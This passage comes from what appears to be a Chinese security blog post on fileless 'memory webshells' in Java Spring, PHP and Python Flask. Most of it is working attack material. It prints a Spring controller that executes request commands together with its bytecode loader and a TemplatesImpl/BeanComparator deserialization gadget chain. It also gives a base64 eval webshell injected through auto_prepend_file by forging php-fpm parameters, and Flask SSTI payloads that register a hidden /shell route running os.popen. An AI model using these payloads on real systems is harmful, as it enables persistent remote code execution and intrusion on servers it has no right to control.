import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;

@Controller
public class EvilController {

@RequestMapping({"/shell"})
public void MemoryShell(HttpServletRequest request, HttpServletResponse response) {
try {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
else {
response.sendError(404);
}
} catch (Exception var8) {
}

}
}

之后用test2方法生成上面Controller类的字节码,然后跟websocket反序列化类似,从当前线程中拿到ClassLoader,然后将这个恶意的Controller加载进JVM,并按照刚刚提的第三种方法自定义注册RequestMapping:

package com.example.vul_demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
String className = "com.example.vul_demo.EvilController";
//加载com.example.vul_demo.EvilController类的字节码
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -115, 10, 0, 30, 0, 72, 8, 0, 73, 11, 0, 74, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 9, 0, 79, 8, 0, 80, 10, 0, 9, 0, 81, 7, 0, 82, 8, 0, 83, 8, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 87, 0, 88, 10, 0, 87, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 17, 0, 93, 8, 0, 94, 10, 0, 17, 0, 95, 10, 0, 17, 0, 96, 10, 0, 17, 0, 97, 8, 0, 98, 11, 0, 99, 0, 100, 10, 0, 101, 0, 102, 10, 0, 101, 0, 103, 11, 0, 99, 0, 104, 7, 0, 105, 7, 0, 106, 7, 0, 107, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 37, 76, 99, 111, 109, 47, 101, 120, 97, 109, 112, 108, 101, 47, 118, 117, 108, 95, 100, 101, 109, 111, 47, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 59, 1, 0, 11, 77, 101, 109, 111, 114, 121, 83, 104, 101, 108, 108, 1, 0, 82, 40, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 59, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 59, 41, 86, 1, 0, 7, 105, 115, 76, 105, 110, 117, 120, 1, 0, 1, 90, 1, 0, 5, 111, 115, 84, 121, 112, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 1, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 7, 114, 101, 113, 117, 101, 115, 116, 1, 0, 39, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 59, 1, 0, 8, 114, 101, 115, 112, 111, 110, 115, 101, 1, 0, 40, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 82, 7, 0, 45, 7, 0, 108, 7, 0, 92, 7, 0, 106, 7, 0, 109, 7, 0, 110, 7, 0, 105, 1, 0, 16, 77, 101, 116, 104, 111, 100, 80, 97, 114, 97, 109, 101, 116, 101, 114, 115, 1, 0, 25, 82, 117, 110, 116, 105, 109, 101, 86, 105, 115, 105, 98, 108, 101, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 115, 1, 0, 56, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 119, 101, 98, 47, 98, 105, 110, 100, 47, 97, 110, 110, 111, 116, 97, 116, 105, 111, 110, 47, 82, 101, 113, 117, 101, 115, 116, 77, 97, 112, 112, 105, 110, 103, 59, 1, 0, 5, 118, 97, 108, 117, 101, 1, 0, 6, 47, 115, 104, 101, 108, 108, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 46, 106, 97, 118, 97, 1, 0, 43, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 115, 116, 101, 114, 101, 111, 116, 121, 112, 101, 47, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 59, 12, 0, 31, 0, 32, 1, 0, 3, 99, 109, 100, 7, 0, 109, 12, 0, 111, 0, 112, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 113, 12, 0, 114, 0, 112, 12, 0, 115, 0, 116, 1, 0, 3, 119, 105, 110, 12, 0, 117, 0, 118, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 2, 115, 104, 1, 0, 2, 45, 99, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 122, 0, 123, 7, 0, 124, 12, 0, 125, 0, 126, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 12, 0, 31, 0, 127, 1, 0, 2, 92, 65, 12, 0, -128, 0, -127, 12, 0, -126, 0, -125, 12, 0, -124, 0, 116, 1, 0, 0, 7, 0, 110, 12, 0, -123, 0, -122, 7, 0, -121, 12, 0, -120, 0, -119, 12, 0, -118, 0, 32, 12, 0, -117, 0, -116, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 35, 99, 111, 109, 47, 101, 120, 97, 109, 112, 108, 101, 47, 118, 117, 108, 95, 100, 101, 109, 111, 47, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 37, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 1, 0, 38, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 1, 0, 12, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 12, 117, 115, 101, 68, 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 1, 0, 4, 110, 101, 120, 116, 1, 0, 9, 103, 101, 116, 87, 114, 105, 116, 101, 114, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 102, 108, 117, 115, 104, 1, 0, 9, 115, 101, 110, 100, 69, 114, 114, 111, 114, 1, 0, 4, 40, 73, 41, 86, 0, 33, 0, 29, 0, 30, 0, 0, 0, 0, 0, 2, 0, 1, 0, 31, 0, 32, 0, 1, 0, 33, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 34, 0, 0, 0, 6, 0, 1, 0, 0, 0, 12, 0, 35, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 36, 0, 37, 0, 0, 0, 1, 0, 38, 0, 39, 0, 3, 0, 33, 0, 0, 1, -79, 0, 5, 0, 9, 0, 0, 0, -71, 43, 18, 2, -71, 0, 3, 2, 0, -58, 0, -93, 4, 62, 18, 4, -72, 0, 5, 58, 4, 25, 4, -58, 0, 18, 25, 4, -74, 0, 6, 18, 7, -74, 0, 8, -103, 0, 5, 3, 62, 29, -103, 0, 31, 6, -67, 0, 9, 89, 3, 18, 10, 83, 89, 4, 18, 11, 83, 89, 5, 43, 18, 2, -71, 0, 3, 2, 0, 83, -89, 0, 28, 6, -67, 0, 9, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 18, 2, -71, 0, 3, 2, 0, 83, 58, 5, -72, 0, 14, 25, 5, -74, 0, 15, -74, 0, 16, 58, 6, -69, 0, 17, 89, 25, 6, -73, 0, 18, 18, 19, -74, 0, 20, 58, 7, 25, 7, -74, 0, 21, -103, 0, 11, 25, 7, -74, 0, 22, -89, 0, 5, 18, 23, 58, 8, 44, -71, 0, 24, 1, 0, 25, 8, -74, 0, 25, 44, -71, 0, 24, 1, 0, -74, 0, 26, -89, 0, 12, 44, 17, 1, -108, -71, 0, 27, 2, 0, -89, 0, 4, 78, -79, 0, 1, 0, 0, 0, -76, 0, -73, 0, 28, 0, 3, 0, 34, 0, 0, 0, 66, 0, 16, 0, 0, 0, 17, 0, 11, 0, 18, 0, 13, 0, 19, 0, 20, 0, 20, 0, 38, 0, 21, 0, 40, 0, 23, 0, 99, 0, 24, 0, 112, 0, 25, 0, -128, 0, 26, 0, -108, 0, 27, 0, -97, 0, 28, 0, -88, 0, 29, 0, -85, 0, 31, 0, -76, 0, 34, 0, -73, 0, 33, 0, -72, 0, 36, 0, 35, 0, 0, 0, 92, 0, 9, 0, 13, 0, -101, 0, 40, 0, 41, 0, 3, 0, 20, 0, -108, 0, 42, 0, 43, 0, 4, 0, 99, 0, 69, 0, 44, 0, 45, 0, 5, 0, 112, 0, 56, 0, 46, 0, 47, 0, 6, 0, -128, 0, 40, 0, 48, 0, 49, 0, 7, 0, -108, 0, 20, 0, 50, 0, 43, 0, 8, 0, 0, 0, -71, 0, 36, 0, 37, 0, 0, 0, 0, 0, -71, 0, 51, 0, 52, 0, 1, 0, 0, 0, -71, 0, 53, 0, 54, 0, 2, 0, 55, 0, 0, 0, 52, 0, 9, -3, 0, 40, 1, 7, 0, 56, 31, 88, 7, 0, 57, -2, 0, 46, 7, 0, 57, 7, 0, 58, 7, 0, 59, 65, 7, 0, 56, -1, 0, 24, 0, 3, 7, 0, 60, 7, 0, 61, 7, 0, 62, 0, 0, 8, 66, 7, 0, 63, 0, 0, 64, 0, 0, 0, 9, 2, 0, 51, 0, 0, 0, 53, 0, 0, 0, 65, 0, 0, 0, 14, 0, 1, 0, 66, 0, 1, 0, 67, 91, 0, 1, 115, 0, 68, 0, 2, 0, 69, 0, 0, 0, 2, 0, 70, 0, 65, 0, 0, 0, 6, 0, 1, 0, 71, 0, 0};
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(classLoader, className, bytes, 0, bytes.length);

//获得当前代码运行时的上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);


//从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

//反射获取RequestMappingHandlerMapping的config字段
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping);
//通过反射获得自定义controller中唯一的Method对象
Method method = (Class.forName(className).getDeclaredMethods())[0];

//设置路由的请求方法为POST
RequestMethod requestMethod = RequestMethod.POST;
//在内存中动态注册 controller
RequestMappingInfo info = RequestMappingInfo.paths("/shell").methods(requestMethod).options(config).build();
requestMappingHandlerMapping.registerMapping(info, Class.forName(className).newInstance(), method);

} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

以下是生成字节码和生成序列化payload的Test代码:

package com.example.vul_demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

return queue;
}

@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();

String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}

@org.junit.jupiter.api.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilController.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes).replace('[', '{').replace(']', '}'));
}


}

以下是执行结果,传入payload:

Java/Python/PHP 内存马

之后进入/shell,成功注入:

Java/Python/PHP 内存马

PHP 内存马

注入方法:

目前PHP仍然是非常主流的服务端Web语言,只是网上很多文章还是更关注Java内存马,对PHP内存马的了解似乎只停留在PHP不死马。而PHP不死马一般存在文件落地不说,还非常容易被管理员发现,因此实在无法将它定义为内存马。

那我们怎样做不需要落地PHP文件就可以将我们的Webshell注入进服务器呢?其实方法很简单,还记得PHP有一个配置叫做auto_prepend_file吗?auto_prepend_file配置指定在主文件之前自动解析的文件名。假设此时我们拥有一个PHP网站的RCE漏洞,那么我们只需要修改auto_prepend_file的值为data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=,接下来当我们每次访问别的PHP文件时都会自动解析<?php @eval($_POST['shell']); ?>,然后就是传入shell参数进行RCE了。那假如我们没有RCE是不是就不行?其实不然,在某些情况可能我们只需要一个SSRF或者php-fpm未授权就可以完成PHP内存马的注入。

要了解这种注入手法,首先就要了解php-fpm是做什么的。php解释器和webserver进行通信时使用cgi协议,但是由于其每次都要开关进程,非常浪费资源,于是出现了fastcgi,利用一个进程一次处理多个请求。而php-fpm(php-Fastcgi Process Manager)就是fastcgi的实现,并提供了进程管理的功能。

以下是借用别的师傅的一张图:

Java/Python/PHP 内存马

可以看到Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给php-fpm,FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。在PHP-FPM中有两个特殊的环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

php-fpm默认监听9000端口,假设我们可以跳过nginx直接与php-fpm进行通信,那我们是不是就可以伪造fastcgi协议数据包从而改变PHP里的配置项,例如我们之前提到的auto_prepend_file。

构造如下环境变量:

{
  'GATEWAY_INTERFACE': 'FastCGI/1.0',
  'REQUEST_METHOD': 'GET',
  'SCRIPT_FILENAME': '/var/www/html/index.php',
  'SCRIPT_NAME': '/index.php',
  'QUERY_STRING': '?x=x',
  'REQUEST_URI': '/index.php?x=x',
  'DOCUMENT_ROOT': '/var/www/html',
  'SERVER_SOFTWARE': 'php/fcgiclient',
  'REMOTE_ADDR': '127.0.0.1',
  'REMOTE_PORT': '12345',
  'SERVER_ADDR': '127.0.0.1',
  'SERVER_PORT': '80',
  'SERVER_NAME': "localhost",
  'SERVER_PROTOCOL': 'HTTP/1.1'
  'PHP_VALUE': 'auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4="',
  'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

接着自己改改p牛的脚本运行就注入成功了:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Python Flask 内存马

Flask/jinja2 SSTI漏洞过于基础就不再介绍了,直接给出漏洞环境:

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def home():
  person = 'guest'
  if request.args.get('name'):
      person = request.args.get('name')
  template = '<h2>Hello %s!</h2>' % person
  return render_template_string(template)


if __name__ == "__main__":
  app.run(host="0.0.0.0")

payload:

?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

flask版本为2.0.3:

Java/Python/PHP 内存马

注入流程分析

首先我们先看一下payload :

url_for.__globals__['__builtins__']['eval'](
  "app.add_url_rule(
      '/shell',
      'shell',
      lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
  )",
  {
      '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
      'app':url_for.__globals__['current_app']
  }
)

url_for是Flask的一个内置函数, 通过Flask内置函数可以调用其__globals__属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules,比如__builtins__模块。在__builtins__模块中, Python在启动时就直接为我们导入了很多内建函数,如eval,exec等。让我们看一下python中eval函数是怎样使用的:

Java/Python/PHP 内存马

给出以下例子:

namespace = {'a': 2, 'b': 3}
result = eval("a + b", namespace)
print(result)

可以看到,eval函数是在指定命名空间中执行表达式,a+b即2+3。

那在给出的payload中,以下为表达式:

app.add_url_rule(
  '/shell',
  'shell',
  lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)

以下代码即是我们制定的命名空间:

{
  '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
  'app':url_for.__globals__['current_app']
}

current_app是一个本地代理,它的类型是werkzeug.local.LocalProxy,它所代理的即是我们的app对象:

Java/Python/PHP 内存马

只在请求线程内存在,它的生命周期就是在应用上下文里。离开了应用上下文,current_app一样无法使用。

当一个网页请求来以后,Flask会实例化对象app,执行__call__

Java/Python/PHP 内存马

之后调用flask.app.Flask.wsgi_app

Java/Python/PHP 内存马

此处调用了flask.app.Flask.request_context创建一个请求上下文RequestContext类型的对象,:

Java/Python/PHP 内存马

其需接收werkzeug中的environ对象为参数。werkzeug是Flask所依赖的WSGI函数库。接下来又调用了push()方法:

Java/Python/PHP 内存马

这是为什么?request_context方法已经创建了请求上下文,为什么还要调用pushpop方法呢?这就是Flask关于上下文实现的关键了。对于Flask Web应用来说,每个请求就是一个独立的线程。请求之间的信息要完全隔离,避免冲突,这就需要使用本地线程环境(ThreadLocal),这个概念在其他语言如Java中也有。ctx.push()方法,会将当前请求上下文,压入flask._request_ctx_stack的栈中,这个_request_ctx_stack是内部对象。同时这个_request_ctx_stack栈是个ThreadLocal对象。也就是flask._request_ctx_stack看似全局对象,其实每个线程的都不一样。请求上下文压入栈后,再次访问其都会从这个栈的顶端通过_request_ctx_stack.top来获取,所以取到的永远是只属于本线程中的对象,这样不同请求之间的上下文就做到了完全隔离。请求结束后,线程退出,ThreadLocal线程本地变量也随即销毁,ctx.pop()用来将请求上下文从栈里弹出,避免内存无法回收。

知道了app和_request_ctx_stack是什么,我们就来看看eval中的表达式:

app.add_url_rule(
  '/shell',
  'shell',
  lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)

跟进装饰器@app.route('<url>')的代码,可以看到其本质上也调用了flask对象的add_url_rule()方法:

Java/Python/PHP 内存马

以下是一个不使用装饰器创建路由的示例:

from flask import Flask

app = Flask(__name__)

def index():
  return 'Hello World!'

app.add_url_rule('/index',endpoint='index',view_func=index)

以下是这三个参数的解释:

:param rule: The URL rule string.
:param endpoint: The endpoint name to associate with the rule
  and view function. Used when routing and building URLs.
  Defaults to ``view_func.__name__``.
:param view_func: The view function to associate with the
  endpoint name.

因此payload中add_url_rule()方法的每一个参数的意思也就知道了,主要看payload中的第三个参数:

lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

通过import模块导入os并执行os.popen(cmd).read()。_request_ctx_stack.top拿到_request_ctx_stack的栈顶元素,即当前请求上下文,之后从当前请求上下文获取request对象,通过request.args.get()的方法拿到cmd参数的值,如果cmd参数为空,就设为whoami。也就是说默认执行whoami。

payload变形

至此,整个payload的脉络也梳理清楚了。那仔细想想还有什么办法对这个payload进行一些改变呢?以request对象为例,刚刚提到,在payload中,获取request对象是通过从全局变量中获取_request_ctx_stack,并获取它的栈顶元素及请求上下文,而请求上下文的request属性即是我们的需要的request对象。但在我们其实可以在url_for.__globals__就找到此次请求的request对象,而不用通过这种方式来获取:

Java/Python/PHP 内存马

因此payload可以改为:

?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

以下是执行结果:

Java/Python/PHP 内存马

那当前app对象还能从哪里获取呢?可以从_app_ctx_stack的栈顶元素中获取应用上下文,在应用上下文中有app属性,即是我们需要的app对象:

Java/Python/PHP 内存马

因此payload可以改为:

?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['_app_ctx_stack'].top.app})}}

其实通过以下方式也可以获得当前的app对象:

get_flashed_messages.__globals__['current_app']

获取当前的request对象和app对象一定不只是这几种方式,大家可以继续补充。

查杀与检测

flask/jinja2 SSTI漏洞在实际攻防场景其实并不常见,因此个人认为这种内存马只要注意不要出现SSTI漏洞就可以了。

总结

因为目前在实习的原因,不像以前一样有很多时间,这篇文章断断续续写了一周,本以为用不了这么长时间。以前觉得内存马相关内容的东西太多了,即使目前写了过万字也感觉有很多的地方有待补充,比如Java内存马的种类还差很多种,以及这些内存马的查杀方式,关于查杀方式目前也只是写了Tomcat-Servlet内存马的 查杀方式。缺失的这些有空再写吧,没办法,这就是懒狗的日常,嘻嘻。

参考链接

https://tttang.com/archive/1775

https://xz.aliyun.com/t/11566

https://github.com/c0ny1/java-memshell-scanner

https://github.com/iceyhexman/flask_memory_shell

来源:https://blog.snert.cn/index.php/2023/08/09/java-python-php-memory-webshell/

